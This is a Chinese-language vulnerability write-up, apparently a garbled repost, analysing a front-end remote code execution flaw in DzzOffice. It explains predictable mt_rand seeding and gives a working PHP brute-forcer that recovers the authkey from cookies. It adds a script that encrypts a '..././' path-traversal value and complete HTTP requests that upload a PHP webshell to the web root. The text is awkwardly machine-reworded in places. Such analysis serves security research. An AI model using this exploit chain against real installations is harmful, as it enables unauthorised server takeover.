首页 » 网站建设 » phppre技巧_某Office202前台RCE分析

phppre技巧_某Office202前台RCE分析

访客 2024-11-20 0

扫一扫用手机浏览

文章目录 [+]

定位到干系代码片段

$uid = 1 ; $authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10); $_config['db'][1]['dbhost'] = $dbhost; $_config['db'][1]['dbname'] = $dbname; $_config['db'][1]['dbpw'] = $dbpw; $_config['db'][1]['dbuser'] = $dbuser; $_config['db'][1]['port'] = $port?$port:'3306'; $_config['db'][1]['tablepre'] = $tablepre; $_config['admincp']['founder'] = (string)$uid; $_config['security']['authkey'] = $authkey; $_config['cookie']['cookiepre'] = random(4).'_'; $_config['memory']['prefix'] = random(6).'_';

这里的authkey和Cookie前缀都是调用random()函数天生了一部分

phppre技巧_某Office202前台RCE分析

authkey:前6位是一堆变量md5后截取出来的,后十位是random函数天生的Cookie:前四位是random的天生的

跟进random(),该函数位于install/include/install_function.php:

phppre技巧_某Office202前台RCE分析
(图片来自网络侵删)

function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; PHP_VERSION < '4.2.0' && mt_srand((double)microtime() 1000000); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash;}

这里的random()函数,跟修复随机数安全问题前的Discuz千篇一律,没有重新播种,所有随机数都是通过同一个种子天生出来的

一个小知识点:

在PHP4.2.0之前的版本,必须要通过srand()或mt_srand()给rand()或mt_rand()播种,在PHP4.2.0之后的版本,事先可以不再通过srand()或mt_srand()播种. 如直接调用mt_rand(),系统会自动播种.系统会自动播种,系统播各类子范围为0-2^32(32位系统),这样彷佛也能列举PHP_VERSION < '4.2.0' && mt_srand((double)microtime() 1000000); 这段代码是为了版本兼容写的

我们可以利用如下固定了种子的值得Demo做测试:

function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; PHP_VERSION < '4.2.0' && mt_srand(123456); mt_srand(123456); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash;}echo random(10);

我们可以得出结论在同一进程中,同一个seed,每次通过mt_rand()天生的值都是固定的

通过Cookie获取种子

由于这里的Cookie前缀是我们可以获取到的,以是我们可以跑一遍PHP的所有的种子,得到11-14 位对应的随机数序列所对应的随机字符,判断是否为我们的Cookie前缀。
这样就能获取所有随机可能的种子

再通过所有可能的随机数种子天生第1-10位对应的随机字符,这样就可以拿到authkey[-10],至于前6位只能选择爆破

这样的话我们就能得到很多组可能的authkey

这样的话要办理两个问题:

authkey有什么浸染如何验证authkey的精确性authkey的浸染

这个别系大量套用Discuz的代码,因此authkey和Discuz里面的效果一样,在一种流算法authcode()中利用的key,来加密一些主要的参数。
这也就意味着,只要能够拿到这个authkey我们就能,传入我们须要的参数。

验证authkey的精确性

通过全局搜索可以找到一处authcode()可控明文点,且加密之后的数据能够被获取到。
文件core/function/function_seccode.php

代码片段如下:

dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);

这里设置了一个cookie,密文是用 authkey天生的,并且密文可以被得到,利用这里的cookie即可验证authkey的精确性。

完全爆破authkey流程通过cookie前缀爆破随机数的seed,利用php_mt_seed工具。
用seed天生random(10),得到所有可能的authkey后缀。
查看Cookie,获取$idhash,和对应的密文用天生的后缀爆破前6位,范围是0x000000-0xffffff,解密密文不雅观察是否精确将打算出来的密文和获取的密文比较,相等即停滞,获取当前的authkey。
漏洞利用验证得到authkey

Cookie前缀我们很随意马虎得到

利用如下脚本得到php_mt_seed可以处理格式的数据

w_len = 10result = ""str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"length = len(str_list)for i in range(w_len): result += "0 " result += str(length-1) result += " " result += "0 " result += str(length - 1) result += " "sstr = "gGyk"for i in sstr: result += str(str_list.index(i)) result += " " result += str(str_list.index(i)) result += " " result += "0 " result += str(length - 1) result += " "print(result)result:0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61

天生可能的种子文件:

利用如下脚本处理暴力爆破,验证idhash即可

<?php$pre = 'gGyk';$seccode = substr('gGyk_2132_seccodeST09ZLe0', -8);$string = '2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0';$seeds = explode("\n", file_get_contents('seed.txt'));for ($i = 0; $i < count($seeds); $i++) { if(preg_match('/= (\d+) /', $seeds[$i], $matach)) { mt_srand(intval($matach[1])); $authkey = random(10); echo $authkey; if(random(4) == $pre){ echo "trying $authkey...\n"; $res = crack($string, $authkey, $seccode); if($res) { echo "authkey found: ".$res; exit(); } } }}function crack($string, $authkey, $seccode) { $chrs = '1234567890abcdef'; for ($a = 0; $a < 16; $a++) { for ($b = 0; $b < 16; $b++) { for ($c = 0; $c < 16; $c++) { for ($d = 0; $d < 16; $d++) { for ($e = 0; $e < 16; $e++) { for ($f = 0; $f < 16; $f++) { $key = $chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f].$authkey; $result = authcode_decode($string, $key); if (strpos($result, "\t$seccode\t")) { return $key; } } } } } } } return false;}function authcode_decode($string, $key) { $key = md5($key); $ckey_length = 4; $keya = md5(substr($key, 0, 16)); $keyc = substr($string, 0, $ckey_length); $cryptkey = $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = base64_decode(substr(str_replace(array('_', '-'), array('/', '+'), $string), $ckey_length)); $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for ($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } return $result;}function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash;}

终极可以得到authkey,3ccd48TRC0BU9NnD

文件上传点

拿到authKey之后,全局搜索dzzdecode(能找到很多的利用点。
这里演示一个文件上传的利用。

在core/api/wopi/index.php中:

跟进Wopi::PUTFile:

调用IO::SetFileContent跟进:

跟进self::clean:

这里将\n,\r,../更换为空,可以利用..././绕过

转头跟进self::initIO:

根据Path的值实例化类

回到开始的PUTFile,Content获取php://input也便是POST数据流,Path采取流式加密,GET获取,也是可控的,这样直接上传文件即可

利用脚本加密Path

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){$ckey_length = 4;$key = md5($key);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));}}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3ccd48TRC0BU9NnD'),'ENCODE'));

布局数据包

POST /dzz/core/api/wopi/index.php?access_token=1&action=contents&path=Y2RhNUl5N09ZVW8vaGNkV0tEcU1qZzc0bGtLWGlIVXZEdjY3eUxmaXFiR3k1VDhtNUJXSFZnZHF1Y3I1VGZCcmtDNXljVGJaMVFnSWlNVENzR1U= HTTP/1.1Host: localhostsec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0Connection: closeContent-Length: 18Content-Type: application/x-www-form-urlencoded<?php phpinfo();?>

访问根目录的shell.php即可RCE

POST /dzz/shell.php HTTP/1.1Host: localhostsec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0Connection: closeContent-Length: 18Content-Type: application/x-www-form-urlencoded<?php phpinfo();?>

总结DzzOffice大量借用dizcus的代码,导致产生了相同的问题,即随机数种子可爆破,终极得到authkey,终极利用密码,加密参数进行RCE。
漏洞产生点在install/index.php这个目录在安装之后就会被删除,因此在做代码审计过程中,该当把稳任何一个文件不应该只有着一种漏洞,大量借用dizcus代码,后续可以通过该思路,探求dizcus的历史漏洞,对该系统就行漏洞挖掘在复现该漏洞时在该项目的github的Issus里创造一处故意思的点:

觉得非常突兀,由于defined的限定,页面没法直接访问,但是假如能绕过Defend,是不是能直接前台文件包含呢,这样的话,我们利用远程文件包含,是不是就可以RCE?我不太明白这里代码的浸染,也就没有深入的去挖掘,但是觉得很有利用的可能。

参考链接https://github.com/zyx0814/dzzoffice/issues/137https://www.anquanke.com/post/id/86679https://www.cnblogs.com/KHZ521/p/14662410.html#0x02

声明:本文仅限于技能谈论与分享,严禁用于造孽路子。
若读者因此作出任何危害网络安全行为后果自大,与本号及原作者无关。
作者:H3h3QAQ 源自:先知社区

标签:

相关文章

介绍皮肤设置,如何打造理想肌肤状态

随着科技的发展和人们对美的追求,皮肤设置已成为美容护肤的重要一环。如何根据皮肤类型、肤质、年龄等因素进行合理设置,已成为众多爱美人...

网站建设 2025-01-03 阅读1 评论0

介绍盖章制作,传承文化,彰显权威

自古以来,盖章在我国文化中具有重要的地位。从古代的官印、私印到现代的公章、合同章,盖章已成为一种独特的文化符号,承载着丰富的历史内...

网站建设 2025-01-03 阅读1 评论0

介绍监控破坏,技术手段与法律风险并存

随着科技的飞速发展,监控设备已遍布大街小巷,成为维护社会治安的重要手段。一些不法分子为了逃避法律制裁,开始研究如何破坏监控设备。本...

网站建设 2025-01-03 阅读1 评论0

介绍登录不上之谜,技术故障还是人为疏忽

随着互联网的普及,登录已成为人们日常生活中不可或缺的一部分。在享受便捷的登录不上这一问题也困扰着许多用户。本文将深入剖析登录不上之...

网站建设 2025-01-03 阅读1 评论0

介绍电脑键盘调出方法,让操作更高效

随着科技的发展,电脑已经成为了我们日常生活中不可或缺的工具。而电脑键盘,作为电脑输入设备,更是我们与电脑进行交流的桥梁。你是否知道...

网站建设 2025-01-03 阅读1 评论0

介绍磁力链,高效便捷的文件下载利器

在互联网高速发展的今天,文件下载已成为日常生活中不可或缺的一部分。而磁力链作为一种新型的文件下载方式,凭借其高效、便捷的特点,受到...

网站建设 2025-01-03 阅读1 评论0